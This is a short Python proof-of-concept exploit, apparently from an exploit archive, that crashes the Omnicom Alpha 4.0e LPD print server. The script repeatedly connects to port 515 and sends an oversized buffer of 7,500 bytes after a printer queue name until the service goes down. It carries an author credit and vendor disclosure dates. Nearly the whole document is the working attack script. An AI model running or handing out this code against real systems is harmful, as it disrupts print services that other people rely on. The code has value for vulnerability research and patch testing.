Omnicom Alpha 4.0e LPD Server Denial Of Service

`#!/usr/bin/python  
#Title: Omnicom Alpha 4.0e LPD Server DoS  
#Author: Craig Freyman (@cd1zz)  
#Software Download: http://www.omnicomtech.com/download/bin/lpd.exe  
#Tested on: Windows XP SP3 (English), Server 2003 SP2 (English)  
#Dates: Bug Found 7/27/2011, Vendor Notified 8/1/2011, Vendor Responded 8/2/2011, Vendor approved release 8/3/2011  
#Notes: For this exploit to work, you must know the name of a printer queue on the server.   
  
import socket,sys,time  
  
if len(sys.argv) < 3:  
print "[-]Usage: %s <target addr> <queue name>" % sys.argv[0]  
sys.exit(0)  
  
target = sys.argv[1]  
queue = sys.argv[2]  
  
counter = 1  
crash = "\x41" * 7500  
  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
  
try:  
while counter<=50:  
print "[*] Left jab "+str(counter)+" times."  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((target,515))  
s.send("\x02"+queue+" "+crash+"LF")  
time.sleep(.25)  
counter+=1  
except:  
print "[-] "+target+" has been knocked out with a right hook!"  
sys.exit(0)  
  
  
`